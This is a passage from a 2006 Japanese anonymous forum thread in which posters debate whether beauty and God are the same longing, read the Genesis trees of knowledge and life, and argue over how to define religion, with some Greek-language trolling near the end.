872 名前：192 ：2006/01/17(火) 20:49:06 ID:kR/msIhd: >>871
>>858でいう「判断」は後天的なもの。
あれは美しく、これは醜い、と判断する心の作用は「あれとこれ」という概念化ができるようになってから。

先天的に美を「知っている」かどうは、また別問題。
赤子は自他の区別が付いてないので何か美しいものを見たら判断せずにその美しい対象そのものになっている。
873 名前：名無しさん＠３周年 ：2006/01/17(火) 20:49:41 ID:5mkpgLl0: >>871
「美であるとされたもの」の歴史的変遷を検証するべきではないでしょうか？
変遷しているのかしていないのかということではないでしょうか？
874 名前：192 ：2006/01/17(火) 20:49:50 ID:kR/msIhd: >>858は>>862の間違い。
875 名前：( ´,_ゝ｀)ほんもの ◆mMmMMMMmmM ：2006/01/17(火) 20:54:06 ID:5XkHhvHV: げっ、また、シカトされてしまった。
誰か、私と遊んでよー!!!!
雪だるまぐらい、プレゼントしますよ。
( ^^) _В
876 名前：無所属な旅人 ：2006/01/17(火) 20:54:44 ID:07yJp4m3: 美しさには条件がつくのですよ。
どのように…と。
変遷は、条件となるものの価値観等に左右されますよね。
877 名前：( ´,_ゝ｀)ほんもの ◆choco.get. ：2006/01/17(火) 20:58:36 ID:5XkHhvHV: あっ、私でよかったのね。失礼。
ダヴィンチコードではないけど、黄金率があって、
人間の中にそれを美しいと感じる部分があると否定することができない。
この点についてはどう思いますか？
878 名前：名無しさん＠３周年 ：2006/01/17(火) 21:01:13 ID:5mkpgLl0: >>876
直感的にわかる美のことかもしれませんよ。　笑

では退散します、火掻棒も怖いので　笑
879 名前：名無しさん＠３周年 ：2006/01/17(火) 21:07:09 ID:opXQGXm3: 神様が人間より偉い理由を教えてください。
880 名前：( ´,_ゝ｀)ほんもの ◆choco.get. ：2006/01/17(火) 21:25:53 ID:5XkHhvHV: はい、それは、人間はすぐ自分を偉いと思いたがるからです。
881 名前：192 ：2006/01/17(火) 22:39:54 ID:GrJTYP9F: >>880
人がいなくなったんで振りなおすかね。
徹底的に相対的ってどういうことだと思っている？
882 名前：無所属な旅人 ◆Trip.cNm8U ：2006/01/17(火) 23:07:23 ID:5BVNKoO2: >>877
あ・・美しさへの返答って私宛かｗ
黄金率などは図形認識が出来た後にですよね。
感じるのは、均整がとれたバランスによる美しさですよね。
正Ｎ角形などとどちらが先に美しいと感じるんでしょうね･･ｗ

レス番書いて無かったですね…移動中の形態だったのです…。
883 名前：192 ：2006/01/17(火) 23:27:11 ID:GrJTYP9F: >>882
美への渇望と、神への渇望とは本質的に同じではないかということについてはどう思う？
884 名前：192 ：2006/01/17(火) 23:28:34 ID:GrJTYP9F: >>883は
>>871関連ね。
885 名前：無所属な旅人 ◆Trip.cNm8U ：2006/01/17(火) 23:34:59 ID:5BVNKoO2: >>883
神の定義次第かな・・当人の。
美しいと思われるものが神の被造物の真髄とするなら、神と同質になるし。

ただやはり其処を観るためには学んで偏見を徐々に捨てるということかなと。
最近では私見で、キリスト教の言う原罪を偏見と置いていますので。
886 名前：192 ：2006/01/17(火) 23:53:51 ID:GrJTYP9F: >>885
>キリスト教の言う原罪を偏見と置いていますので。

なんで？
887 名前：無所属な旅人 ◆Trip.cNm8U ：2006/01/18(水) 00:04:25 ID:zBDg4Wml: >>886
まだ、仮の段階なのですけれど大きな矛盾にはなっていませんので、今のところ。
そう定義してみたのがつい最近なので其れをもとに読み直す時間はまだ作っていません。
こう置いてみようと思ったのは、法華経の一部の影響なのですけれどね。
888 名前：192 ：2006/01/18(水) 00:10:04 ID:QiBdaxXh: >>887
ふーん。まとまったら教えとくれ。
禁断の木の実って何だと思う？
889 名前：無所属な旅人 ◆Trip.cNm8U ：2006/01/18(水) 00:13:08 ID:zBDg4Wml: >>888
蛇が現存する五感で捕らえられるところの物理法則、
木の実はそのまま知恵ですかね。
原罪は、視点狭窄による偏見と置きました。
その他の天使は確認できる出来ないにかかわらず世界の法則の象徴。

と言う感じでしたか…カトリックスレの何番目かにそのまま書いたのが…
890 名前：192 ：2006/01/18(水) 00:21:09 ID:QiBdaxXh: >>889
なぜそっから偏見につながるのかわからん。
智恵が付いたことが罪なんじゃないの？
891 名前：無所属な旅人 ◆Trip.cNm8U ：2006/01/18(水) 00:26:36 ID:zBDg4Wml: >>890
それはキリスト教団的解釈でしょ？

明確な言語のブレなしで解釈したいならやっぱり原本に近いものを読まれたほうがいいかなと。
その意図を汲み取るなどをするなら現代約でも耐えられるかもしれませんけれど。
892 名前： ◆DL6xKyOq9k ：2006/01/18(水) 00:31:54 ID:MnR/byhh: 知識の木と命の木に関しては、真理をついてるなあと思いますけど。
893 名前：192 ：2006/01/18(水) 00:34:53 ID:QiBdaxXh: そうか？
ちょっとしらべたら、禁断の木は善悪の木とも言うらしい。
善と悪を分けることが罪だなんて、キリスト教っぽくないと思うが。

善悪が無ければ神もいないってことだろ？
894 名前：192 ：2006/01/18(水) 00:36:40 ID:QiBdaxXh: >>892
ふむふむ。
命の木食べるとどうなるの？
895 名前：無所属な旅人 ◆Trip.cNm8U ：2006/01/18(水) 00:38:43 ID:zBDg4Wml: >>892
その辺は全編を読み直して考えてみようかなと思ってます。
ただ、キリストも預言者の一人としてみてますので読み方が変わってくるのかも。

さて、今宵は此処まで・・。
896 名前： ◆DL6xKyOq9k ：2006/01/18(水) 00:44:50 ID:MnR/byhh: GEN03:22 主なる神は言われた。　「人は我々の一人のように、善悪を知る者となった。
今は、手を伸ばして命の木からも取って食べ、永遠に生きる者となるおそれがある。」
GEN03:24 こうしてアダムを追放し、命の木に至る道を守るために、
エデンの園の東にケルビムと、きらめく剣の炎を置かれた。

命の木の実を食べると永遠の命が得られるみたいですね。
これって、知識を得た人間が将来、科学的に命の木の実を食べそうで(クローン人間とかで)
結構怖いかも。
897 名前：192 ：2006/01/18(水) 00:45:29 ID:QiBdaxXh: 適当な思いつきだが
善悪の木を食べて智恵が付いて神（善悪の概念）を作り出して
で、その神から楽園を追い出されたんだろ。
そう考えるとその蛇が本当の「面白がりやの絶対者」。
で、生命の木は「悟りの木」みたいなもんで簡単に悟られると神の存在意義が
なくなるから神が楽園から人間をおいだしたんじゃないか？
898 名前：( ´,_ゝ｀)ほんもの ◆choco.get. ：2006/01/18(水) 02:06:37 ID:Fvozmg39: あっ、失礼(^^ゞ
すっかり、寝てました。
でも、なんの話してんのか全然、わかんない(^_^;)。

>>883までは、わかります。
その点なんです。私が疑問に思ってるのは。
私は、神への渇望ってないんですけど、美への渇望って捨てきれないし、
美に対する概念って、本質的な気がするんです。
それがイコールかもしれないってのも、わからんでもない。
ただ、神は言葉かもしれないが、美って言葉ではない。
私には、美の方がより本質的な気がする。
でも、これって非常にエロイので、あんまりいいたい話ではない。
ここまでかな・・・私がわかるのは。
あとの話はちんぷんかんぷん。
899 名前：( ´,_ゝ｀) ◆choco.get. ：2006/01/18(水) 02:25:26 ID:Fvozmg39: あっ、それと、徹底的な相対主義って、モノの根源って何か？の言い換え。
この過程はデカルトが正しいとは思ってますけど、
結局、デカルトは神の概念を不問に付しただけなので、
私は、それ以後の概念については、科学的な手法に軍配をあげてます。
モノの根源って、192さん的に言えば自他の区別への渇望。
我々は、我々を認識できるのか？それに尽きるのではないかと。
900 名前：( ´,_ゝ｀) ◆choco.get. ：2006/01/18(水) 02:42:40 ID:Fvozmg39: あっ、善悪の木に関しては、昔、学生の頃、自意識だと思いました。
人と動物を分けるのは、単純に自意識だろうと。
ライオンは自分をライオンであることに疑問を持たないけど、
人間は自分を人間であることに懐疑することができる。
それで、初めて恥の概念が芽生えて、イチジクの葉なんかで隠したんだろうと。
自意識さえなければ、尊厳なんて意識しないし、殺人に対する罪悪感もない。
ただ生まれて、セックスして、子育てして、死ぬだけ。
命の木は永遠じゃないかと思ったけど、聖書はよくわかんないですね。
仏教で解釈すれば、解脱なんですかね。コーランでは天国？
ヒンズー教では何でしょうか？
901 名前：1 ：2006/01/18(水) 06:19:50 ID:dw2xdMaz: 残り100。
ここを立てて良かったと思う。
でも次は、哲学板でやりましょう。
ここの住人では、ついて行けませんから。
902 名前：( ´,_ゝ｀) ：2006/01/18(水) 06:24:35 ID:Fvozmg39: あら、1さんおはようございます(^^♪

スレ立て依頼掛けちゃいましたし、
ここの方がわかりやすいですよ。私はこちらの方が好きです。
903 名前：192 ：2006/01/18(水) 07:58:37 ID:QiBdaxXh: >>898
>私には、美の方がより本質的な気がする。

その本質への渇望が宗教じゃないのかい。
904 名前：( ´,_ゝ｀) ◆choco.get. ：2006/01/18(水) 08:04:55 ID:Fvozmg39: ところが、神は言葉なんですよ。
美は言葉ではないんです。
神は言葉というのは、聖書の言葉だと反論されるかも知れないんですけど、
私は、違うと思うんですよ。
神は、仏教でも言葉だと思います。多分、あらゆる宗教で言葉だと思うんです。
わかっていただけないでしょうか？
905 名前：192 ：2006/01/18(水) 08:08:42 ID:QiBdaxXh: >>899
うんにゃ。>>862のあんたの発言「徹底的な相対主義な人間」というのを受けて。

そうか、「徹底的な相対主義」を「猜疑」という意味で使ってたんだな。それなら「わかる」。
「字面だけを見て」自分を無意見者だと言っているのかと思った。
906 名前：192 ：2006/01/18(水) 08:13:43 ID:QiBdaxXh: >>904
ふむ。そうだよ。言葉は神だよ。
言葉からあれとこれが生まれ、あれとこれから善と悪がうまれ
善と悪から神が生まれた。
「はじめに言葉ありき」だ。
キリスト教的解釈はどうなのか知らんけど。俺の理解はこんなかんじ。

佛教でも言葉だうんぬんはわけわからん。
907 名前：192 ：2006/01/18(水) 08:21:02 ID:QiBdaxXh: 一応念のため言っておくと
神はアルファでありオメガなんだから、どうとでも言えるんだよ。
だから、「神」という言葉がある文脈と別の文脈では全く異なるものを指すことになる。
その文脈でそのたびに定義するか、文脈から読み取っていくかしかないんだよ。
そんな神について、概念的に議論しても無意味ではある。
908 名前：192 ：2006/01/18(水) 08:30:30 ID:QiBdaxXh: >>904
>神は言葉なんですよ。
>美は言葉ではないんです。

よくわからんがお前の文脈の中では正しいということはわかるよ。
多分万の言葉を費やせば俺にもわかるかもしれんが、それはあまり意味が無いことかもしれん。
言葉のわくというのはそういうもんだと思うが。
909 名前：無所属な旅人 ◆TripFe2LDA ：2006/01/18(水) 09:36:52 ID:oO8bFMCI: 「言葉」から「ロゴス」に変えると多少しっくり来るものがあるけど…些細なことか…。
αでありωでありは、因果の中で語られるものなのではと思うのです。
此れも検証中につき…。
910 名前：マザーピラミッドの大祭司 ：2006/01/18(水) 13:48:04 ID:adWbUp5m: 次スレが立った。

★★宗教否定者いらっしゃーい　２★★
http://life7.2ch.net/test/read.cgi/psy/1137559309/1-100
911 名前：名無しさん＠３周年 ：2006/01/18(水) 15:58:07 ID:nT6WNQoy: 宗教は幼稚な妄想です。
912 名前：　( ´,_ゝ｀) ◆choco.get. ：2006/01/18(水) 16:14:09 ID:Fvozmg39: 確かにロゴスに置き換えた方がいいのかも知れませんが、
個人的には、ロゴスに置き換える必要を今は感じませんね。
まあ、そう思われるって事は、置き換える必要もないでしょう。
充分共通認識できるわけですし。

>「徹底的な相対主義」を「猜疑」という意味で使ってたんだな。
うーん、それって、上っ面の懐疑って意味？
私は、絶対は絶対に認識できないと思っておりまして、
結局人間は、すべて相対で認識することしかできないでおわると思っております。
まあ、この世界はなんだって話になるんですけど、その辺は、楽観的に考えております。

そして、美の観念ですが、わたしは、脳味噌が単純に震えるんだと思うんですよね。
DNAのどこかに、レセプターがあって、それに刺激がハマるんだと思うんですよ。
でもって、それが生の欲求と結びついていると。
宗教もこの地平線のどっかに位置してるんですが、そう単純な仕組みにはなってないと思うんです。
まあ、その一面が、このスレの最初から、私が皆さんに叩かれながらも述べていることではあります。

それから、仏教も同じく説明できると思います。
多分、神道もできるでしょうが、ほとんど知識がないので、実はあやしいとも思っております(^_^;)
まあ、トラブルの基になる考えは、すべて説明できると思っております。
913 名前：バカ梵 ：2006/01/18(水) 16:15:02 ID:yGoQdc5h: たま読みなバカ梵ですが。。

＞ ( ´,_ゝ｀)さん
美は言葉ではない、神は言葉である。違いが俺には分からないなぁ。
あなたは美と思うものを体験している。神と思うものは体験していない。
ただそれだけじゃないのかなぁ。
914 名前：　( ´,_ゝ｀) ◆choco.get. ：2006/01/18(水) 16:33:01 ID:Fvozmg39: >>913
お久しぶりです。バカ梵さん。お待ちしてました。

美というのは、説明する必要がないんです。
うまいものでもそうですが、独占できればいいのです。
自分さえ良ければ、それでいいんです。
しかも、単なる主観です。

でも、神は違います。
人間が作り出したものです。
だから、説明するんですよ。言葉なんです。
共有するために、言葉があるんです。

そういう意味です。
915 名前：バカ梵 ：2006/01/18(水) 16:44:18 ID:yGoQdc5h: なるほどね。言わんとする所の意味が分かりました。
言葉を使って共有しなければいけないもの。そこにあなたの思う神はあるわけですね。
916 名前：?バカ梵 ：2006/01/18(水) 16:47:47 ID:yGoQdc5h: しかしながら「美に本質を見る」と仰るあなたの発言には、
神や仏を見ずにはいられない。と付け加えておきます。。
917 名前：　( ´,_ゝ｀) ◆choco.get. ：2006/01/18(水) 16:59:28 ID:Fvozmg39: 人はポリス的動物なんです。
一人では生きていくことが出来ないんです。
というか、一人で生きていくことに意味を見出すことが出来ないんですよ。
そういう生き物なんです。
だから、幼児が自分のうんこ見せるように言葉を共有するんです。
そのなかに神の概念があるんです。
しかし、神は共有できない。言葉しか共有できない。
ここに、美と神の根本的な違いがあると思います。美は所有する必要がないですから。
918 名前：バカ梵 ：2006/01/18(水) 17:52:37 ID:yGoQdc5h: なるほどあなたの考え、よく分かりました。
じゃあ、俺の話をします。

俺にとっては神や仏とは、あなたの言う物事の本質の事です。
本質を感じるという事は、物事に本質が存在すると信じる事と同じです。
だから俺には、美に本質を見たというあなたの発言は、仏を見た、
神を体験した、と言ってるのと同じに見えます。

俺にとって神や仏は言葉にして共有する必要はないです。それが本質だと言い切れば、
必然的にそれは皆がすでに共有しているものだからです。

俺は宗教には属さず、否定も肯定もしないと言いました。
そんな俺のことを ( ´,_ゝ｀) さんは、宗教に属している人と思いますか？
肯定してると思いますか？よろしければ教えて下さい。
919 名前：　( ´,_ゝ｀) ◆choco.get. ：2006/01/18(水) 18:11:30 ID:Fvozmg39: >>918
私が神は言葉だっていうのは、その本質論に関わるものです。
つまり、本質というのは、独りよがりであってはいけません。
誰かに、説明しなければなりません。
しかし、例えば、バカ梵さんが「神を見た」としましょう。
それは、確かに見たとしても他人が納得しなければ、どうでもいいのです。
いくら、神を見たとしても、説明できなければ意味がないのです。

しかし、美は違います。自分が所有していればいいのです。
あくまでも、自分が所有するものです。しかも、全員が感じることは喜ばしいですが、
そうでなくても構いません。また、そこに、言葉を介在する必要もありません。
共有する必要がないというところで、根本的に美と神は違うと感じています。

>俺は宗教には属さず、否定も肯定もしないと言いました。
私は私なりの宗教の定義をしました。
私の定義は、他人が信ずるものを無条件で受け入れることです。
当然、その対として、他人に強要することも入ると思います。
あなたが無条件に受け入らざるを得ないものを信じ、また、それを他人に強要するならば、
それは宗教でしょう。私はそのように考えてます。
920 名前：バカ梵 ：2006/01/18(水) 18:38:11 ID:yGoQdc5h: ＞いくら、神を見たとしても、説明できなければ意味がないのです。
俺は神や仏を信じていますが、共有しなくては意味がないとはこれっぽっちも思ってません。
何故ならそれが真に本質であれば、すでに共有されてるはずだから。
あなたは「美」と「神」とに境界を引くけど、少なくとも俺にはその境界線は
存在しません。
それは俺が、音楽という美の追求から神や仏に至った実体験から、
吼えておきたい所なのです。海に向かって。
921 名前：　( ´,_ゝ｀) ：2006/01/18(水) 18:43:48 ID:Fvozmg39: 具体的な話をしましょうか？
あなたが神と思っているものは、他人が神だと思っているものでしょうか？
それとも、自分で勝手に神だと思っているものでしょうか？
どちらでしょうか？
922 名前：バカ梵 ：2006/01/18(水) 18:51:38 ID:yGoQdc5h: 俺が神だと思ってるものを、他人が神だと思ってるとは限らない。その必要もない。
自分が勝手に神だと思ってるのか？
それは他人が俺を見た時に判断する事で、俺が神だと思ってる時点でそれはない。
つまりどちらでもない。
923 名前：無所属な旅人 ：2006/01/18(水) 18:55:09 ID:8gR9l1RA: 本質はそこにあるだけだから、わざわざこだわって説明するかどうかだけでしょ…
924 名前：　( ´,_ゝ｀) ：2006/01/18(水) 19:00:53 ID:Fvozmg39: >>922
あなたが勝手に神だと思っていて、他人もそれがないとすれば、
なんら普通の日常的な行為でしょう。
宗教という特殊な言葉に置き換える必要がないでしょう。
ピアノが好きで、バッハばかり弾いているのは、それただのバッハ好きのピアノにストです。
ところが、パッハを聞くことを強要して、そればかり弾いていて、
他の音楽は認めないとしたら、それは宗教でしょう。
そういうことじゃないですか？
まあ、ちょっと、説明不足ではありますけど。
925 名前：バカ梵 ：2006/01/18(水) 19:08:46 ID:yGoQdc5h: それは宗教や信仰の弊害であって、宗教そのものの定義にはならない気がします。
926 名前：　( ´,_ゝ｀) ：2006/01/18(水) 19:13:38 ID:Fvozmg39: つまり、バッハばかり弾いているピアニストは宗教なんですね？
単なるバッハ好きなんじゃないんですね。
２ちゃんが好きな人間も、宗教ですか？
電気が必要な人間も宗教。
すべてのあらゆる人間があらゆる宗教に入ってますよ。
それを認めるならば、バカ梵さんの宗教の定義も認めてもいいです。
とても一般的ではありませんが。
927 名前：?バカ梵 ：2006/01/18(水) 19:20:40 ID:yGoQdc5h: そうです。もちろんその人がそこに本質を感じるならば、の話ですが。
928 名前：無所属な旅人 ：2006/01/18(水) 19:20:49 ID:8gR9l1RA: 宗教が目標とするものの一部(全てかもしれませんが)はその日常化にある事を感じることはありませんか？
929 名前：　( ´,_ゝ｀) ：2006/01/18(水) 19:29:02 ID:Fvozmg39: 単なる嗜好も宗教だというあなたの考えは、宗教の認識が、甘いと思いますよ。
嗜好と宗教は明らかに違います。
友達以上、恋人未満ってぐらいのもんじゃないですかね。
相変わらず、例えが酷いですけど。

>>928
それは、私に対してついてレスですよね。
私の考えている宗教は、日常的なものであるし、それもかなり全てが宗教的です。
仰るとおりですよ。
930 名前：蓮華 ◆l5AfpJx3FY ：2006/01/18(水) 19:30:08 ID:5xpa4LhL: もうパート２が立ちましたね。　おめ。

そして、立ててくれた人。　お疲れ様です。
931 名前：バカ梵 ：2006/01/18(水) 19:41:05 ID:yGoQdc5h: ＞単なる嗜好も宗教だというあなたの考えは、宗教の認識が、甘いと思いますよ。
実際、何が宗教であるかという認識などどうでもいいのです。
この世界の本質を何と捉えるか？そこが重要な所でしょう。
932 名前：　( ´,_ゝ｀) ：2006/01/18(水) 19:49:58 ID:Fvozmg39: >この世界の本質を何と捉えるか？そこが重要な所でしょう。
だから、単なる嗜好じゃないでしょう。
私が言ってるのは、まさにその点ですよ。
どう捉えるかなんですよ。
単なるバッハ好きのピアニストではないんです。
バッハで世界を語るんです。バッハ以外は音楽ではありません。
そういう世界観ですよ。
933 名前：?バカ梵 ：2006/01/18(水) 19:59:39 ID:yGoQdc5h: 927 で俺は「そこに本質を感じるならば」、と言ってます。
934 名前：　( ´,_ゝ｀) ：2006/01/18(水) 20:12:57 ID:Fvozmg39: 本質を感じるかどうかは誰が問題にしてるんですか？
当然、自分ですよね。
結局あなたの論では、他人から、宗教なのか嗜好なのかわかりませんよね。
宗教は、そういうものなんですか？
一般的には違うと思いますが？
935 名前：バカ梵 ：2006/01/18(水) 20:18:34 ID:yGoQdc5h: まぁそう、宗教の定義は様々。。。一般的に言われる宗教にまつわって現実世界に
起こる様々な事件・矛盾。しかし俺の立場からは、それは単に宗教というくくりで
捉えられる問題ではないと思う。現れ方は宗教のフィルターを通してだが、結局それは人間自身が
抱える問題・矛盾なのだろう。宗教戦争など、単純に集団的な生存競争という本能的姿なの
かもしれない。云々

すいません、落ちます。
936 名前：名無しさん＠３周年 ：2006/01/18(水) 20:20:09 ID:dUqDKmaD: 名詮自性笑
937 名前：　( ´,_ゝ｀) ：2006/01/18(水) 20:27:09 ID:Fvozmg39: >>935
いえ、こちらこそ、ありがとうございます。
関係性でしか結局わからないと思ったものですから。
ちょっと、書き方が強すぎましたね。
もっと、違う角度でも見ていける気もしたのですが、
ちょっと、思いつきませんでした。
なにかが、抜け落ちている気もしますので、また、来てください。
よろしくお願いします。
938 名前：無所属な旅人 ◆Trip.cNm8U ：2006/01/18(水) 21:07:44 ID:G5G4huwf: >>( ´,_ゝ｀)さん
（教団）宗教が人間の抱える問題の現れるような性質を
論ずる場であるがために、その表面化が顕著なだけなのかも
しれないということは考えられますか？

本質の在り方を観るのに何もいらないとするのと、
その在り方そのものが宗教とするのとは、
ただの置き方だけで、些細かなと思います。

嗜好にこだわるのであれば、その前に話されていた、
美と神の関係に近いものだと思うのですがどうでしょう？
939 名前：　( ´,_ゝ｀) ：2006/01/18(水) 21:40:01 ID:Fvozmg39: >>938
多分、単純に物事の捉え方の違いだとは思います。

ただし、その宗教にどこまで深入りするかは個人の問題だと思いますよ。
やめようと思えばいつでも止められるのは、基本的な問題ですが、
それを阻害するのは、宗教の性質から言えば当然のことでしょう。
信じ方が足りなければ、当然ついていけないと思うでしょう。
だから、ついていけないと考えるのは、信じ方が足りないのです。
信じ方が足りないのは、なにか問題があるからで、それによって、
日常生活も当然、変化しなければならないでしょう。
それを積極的に行うか、強制的に行うかの違うかはありますが、
他人が信ずるものを受け入れるのは同じことです。
結局、私が考えている宗教というのは、本質論とは全然別にあるんです。
動機は、本質的なことかもしれませんし、求めるものも、近いのかもしれません。
しかし、まったく、違うものです。
940 名前：　( ´,_ゝ｀) ：2006/01/18(水) 22:20:57 ID:Fvozmg39: 例えば、私は、このスレで最初からずっと同じ事を論じてましたが、
その間、実際の宗教を思い巡らしていたのは、キリスト教でもなんでもなく、
仏教、それも臨済録のやりとりや無門関の公案でした。
彼らは、言葉でやり取りしますが、単純な問に対する答えではありませんよね。
だから、臨済は突然大悟したわけです。
そこには、超越した何かがあり、言葉以上の何かがあります。
しかし、結局は、それ以上ではないと思います。
でなければ、臨済は大悟できなかったし、普化も存在しなかったと思います。
941 名前：名無しさん＠３周年 ：2006/01/19(木) 00:51:23 ID:t3aqtSFD: バッハはオルガンだよ。
942 名前：　( ´,_ゝ｀) ：2006/01/19(木) 07:12:41 ID:aU8LljkQ: >>941
ご指摘どおりですね。
羊たちの沈黙で、看守を襲う場面がありますよね。
あの時流れるゴールドベルグ変奏曲を連想していたんですよね。
943 名前：　( ´,_ゝ｀) ：2006/01/19(木) 07:33:46 ID:aU8LljkQ: >>930
あっ、蓮華さんいらしてたんですね。
通り過ぎてしまいました(^_^;)
お礼を言いたかったのに。

おまけに、スレ立ててくれた方にもお礼まで言ってくれて・・・(^_^;)

スレ立ててくれた方、お疲れ様です。
ありがとうございました。遅くなりましたけど・・。
944 名前：192 ：2006/01/19(木) 08:11:47 ID:qpSDJlGD: >>912
>私は、絶対は絶対に認識できないと思っておりまして、
>結局人間は、すべて相対で認識することしかできないでおわると思っております。

わかって言っている様な気もするが・・・
そのとおり。
『「私」は絶対は絶対に認識できない。』
そこで終わるか、やっとスタート地点に立ったと思うかの違いだろう。
945 名前：192 ：2006/01/19(木) 08:15:16 ID:qpSDJlGD: かといって俺が何か知っているわけではないよ。
しょせん屁理屈の世界だ。
946 名前：　( ´,_ゝ｀) ：2006/01/19(木) 08:24:51 ID:aU8LljkQ: >『「私」は絶対は絶対に認識できない。』

いやあ、もう、192さんもこないのかと思ってましたよ(^^♪
そうです。始まりですよ。
でも、まさか、だから神がいるってやるわけではありませんよね。
神は死んだって、言ってるひともいるわけですし(^^ゞ
947 名前：192 ：2006/01/19(木) 08:33:09 ID:qpSDJlGD: >>946
始まるのか・・
難儀な「私」だな。まあ人のことはいえんが。
948 名前：　( ´,_ゝ｀) ：2006/01/19(木) 09:30:51 ID:aU8LljkQ: ふふっ、結構楽しいと思いますが。
192さんも充分楽しんでいるように見えますけど。

とりあえず、仕事になんないんで、しばらくここで遊んでます(^^♪
949 名前：192 ：2006/01/19(木) 09:41:30 ID:qpSDJlGD: >>948
ふーん。
では、『「私」は絶対は絶対に認識できない。』のであれば、
次ぎはどうするの？
950 名前：　( ´,_ゝ｀) ：2006/01/19(木) 10:29:25 ID:aU8LljkQ: わっ、嬉しいですね。まだいらしたとは。

次はですね(^^♪
「絶対は絶対に認識できない」と認識している相対を考えるんです。
つまりその私です。
だって、そのように言いたいんですよね。
951 名前：192 ：2006/01/19(木) 19:46:48 ID:g5hMB7oV: >>950
いや、知らんよ。
で、その私を相対化するとどうなるんだ？
952 名前：名無しさん＠３周年 ：2006/01/19(木) 19:51:56 ID:a/n4hyT4: >>949
πώς είναι;επισκεφτείτε τα σημεία ενδιαφέροντος για μια πόλη
953 名前：名無しさん＠３周年 ：2006/01/19(木) 19:54:21 ID:a/n4hyT4: >>949
είστε ανόητοι;
είστε φοβισμένοι;
954 名前： ◆6chHDqC6e6 ：2006/01/19(木) 19:59:52 ID:5xQN1W3E: >>952-953
レスの意図がまったくつかめません。
955 名前：名無しさん＠３周年 ：2006/01/19(木) 20:00:50 ID:a/n4hyT4: >>951
Αυτός ο τρόπος, τι λέτε αυτό έχει αποτύχεϊ
956 名前：名無しさん＠３周年 ：2006/01/19(木) 20:12:07 ID:a/n4hyT4: >>951
Είστε σκορβούτο. Ξέρτε την ντροπή.
Εάν η λέξη εξελίκτρων σας είναι σωστή,
όπως για το γράψιμο πιθανώς θα γίνει κατανοητή;
Επειδή όπως για την απάντηση χωρίς την ύπαρξη δυνατοί,από το λάθος είστε.
957 名前： ◆6chHDqC6e6 ：2006/01/19(木) 20:20:29 ID:5xQN1W3E: 952
それはいかにあるか。都市のための興味のポイントを訪問しなさい
953
愚か者であるか。
恐れているか。
955
こうすれば、言う何をこれは失敗した!
956
壊血病である。 Xe'rte 恥。
巻き枠のあなたの単語が右なら、
執筆に関してはおそらく理解できるようになるか。
存在のない答えのために可能なので間違いからある。
http://www.worldlingo.com/ja/products_services/computer_translation.html
で訳してみました。
958 名前：192 ：2006/01/19(木) 20:24:54 ID:g5hMB7oV: うはははは。
自己を相対化すると壊血病になるんだ。
やはり、顔は自己の相対化なんかやめといたがいいぞ。
959 名前：名無しさん＠３周年 ：2006/01/19(木) 20:27:10 ID:a/n4hyT4: >>958
Πότε έχετε γελάσει;　笑
960 名前： ◆6chHDqC6e6 ：2006/01/19(木) 20:31:23 ID:5xQN1W3E: >>957の９５６は意味不明なものとなってしまいました。
私はギリシャ語の辞書や文法書を持っていないのですから
これ以上は解読する方法はありません。
教えて下さい、ID:a/n4hyT4さんは何と言ったのですか。
961 名前：無所属な旅人 ◆Trip.cNm8U ：2006/01/19(木) 20:35:30 ID:euFQHWP3: 日本語でなく英語に翻訳してみたら判りやすくなったかもw
ん…意味の無いことか…読めなくても良さげ。
962 名前：名無しさん＠３周年 ：2006/01/19(木) 20:44:03 ID:a/n4hyT4: >>958
Εκείνοι που μετασχηματίζονται την ίδρυση της εργασίας,
η μετάφραση αυτός είναι που πιθανώς;
Είναι διαίσθηση; 笑
963 名前：名無しさん＠３周年 ：2006/01/19(木) 20:52:46 ID:a/n4hyT4: >>958
Δεν υπάρχει καμία απάντηση.
Τελικά με τη διαίσθηση είναι αδικαιολόγητο;　笑
964 名前：　( ´,_ゝ｀) ：2006/01/19(木) 20:53:25 ID:aU8LljkQ: レスの進行についてけん(^_^;)

信仰がないからだな。
965 名前：名無しさん＠３周年 ：2006/01/19(木) 20:54:50 ID:a/n4hyT4: διόρθωση : 笑→哂
966 名前：無所属な旅人 ◆Trip.cNm8U ：2006/01/19(木) 20:55:13 ID:euFQHWP3: そういう煽りをいれるかぁｗ

>>964
ん・・まぁ、些細なことです・・気になされなくても・・＾－＾；
967 名前：　( ´,_ゝ｀) ：2006/01/19(木) 21:01:17 ID:aU8LljkQ: 要は、正しいかどうかわからなかったら、
判別しようないからね。

でも、笑えることは確かだ。
壊血病は、いいね。
沢庵和尚、思い出したよ。
968 名前：192 ：2006/01/19(木) 21:02:07 ID:g5hMB7oV: >>966
自分で自分は宗教的価値観から自由だとおもっているかい？
969 名前：192 ：2006/01/19(木) 21:03:09 ID:g5hMB7oV: >>967
ﾉｼ
970 名前：無所属な旅人 ◆Trip.cNm8U ：2006/01/19(木) 21:07:25 ID:euFQHWP3: >>968
いや・・ギリシャ語で煽られてたので、どういったらと思ったので。
むしろ、宗教的価値観に浸かっても構わないと思ってるほうですよ。私は。
971 名前：　( ´,_ゝ｀) ：2006/01/19(木) 21:09:49 ID:aU8LljkQ: ノシってなに？
前もレスされて、よくわからなかったんですけど。

どうでもいいけど、もう一つの方、こわくて移れないんですけど(^_^;)
972 名前：192 ：2006/01/19(木) 21:13:11 ID:g5hMB7oV: >>970
煽りなのか？コミュニケーションの限界を感じるよ。
ふむ。確かに宗教的価値観に浸っても良い、と思っているほうがかえってニュートラルだな。
では、宗教拒否の連中は自分達が宗教的価値観に浸っていることになぜ無自覚でいられると思う？
973 名前：192 ：2006/01/19(木) 21:13:44 ID:g5hMB7oV: >>971
手を振っているように見えん？
974 名前：　( ´,_ゝ｀) ：2006/01/19(木) 21:15:29 ID:aU8LljkQ: >>973
えっっ、真夜中の海で、水面から何百という手が伸びてるかんじ(^_^;)

確かに、手招いているかも・・・・・
975 名前：192 ：2006/01/19(木) 21:16:09 ID:g5hMB7oV: >>971
もうひとつのほう、内容はとにかく、ありようとしては興味深い。
自分たちはなぜ宗教に拒否反応を示すのか、その自己洞察がすっぽり抜け落ちているところに興味を引かれる。
976 名前：無所属な旅人 ◆Trip.cNm8U ：2006/01/19(木) 21:20:38 ID:euFQHWP3: >>972
宗教に必要以上に偏見を持ってしまったがために、
そんなものに影響をされているのを認めたくないのでは
という感じなのかもしれません。

事、真理をついている概念というものは何処にあるか、
其れを一部に含むものを其れごと否定することに意味があるのか…
とか思ってしまうのですよね。

知りえることは出来るだけ知り、その中から選択しても、
しらないまま否定するよりはましかなって程度ですけど。
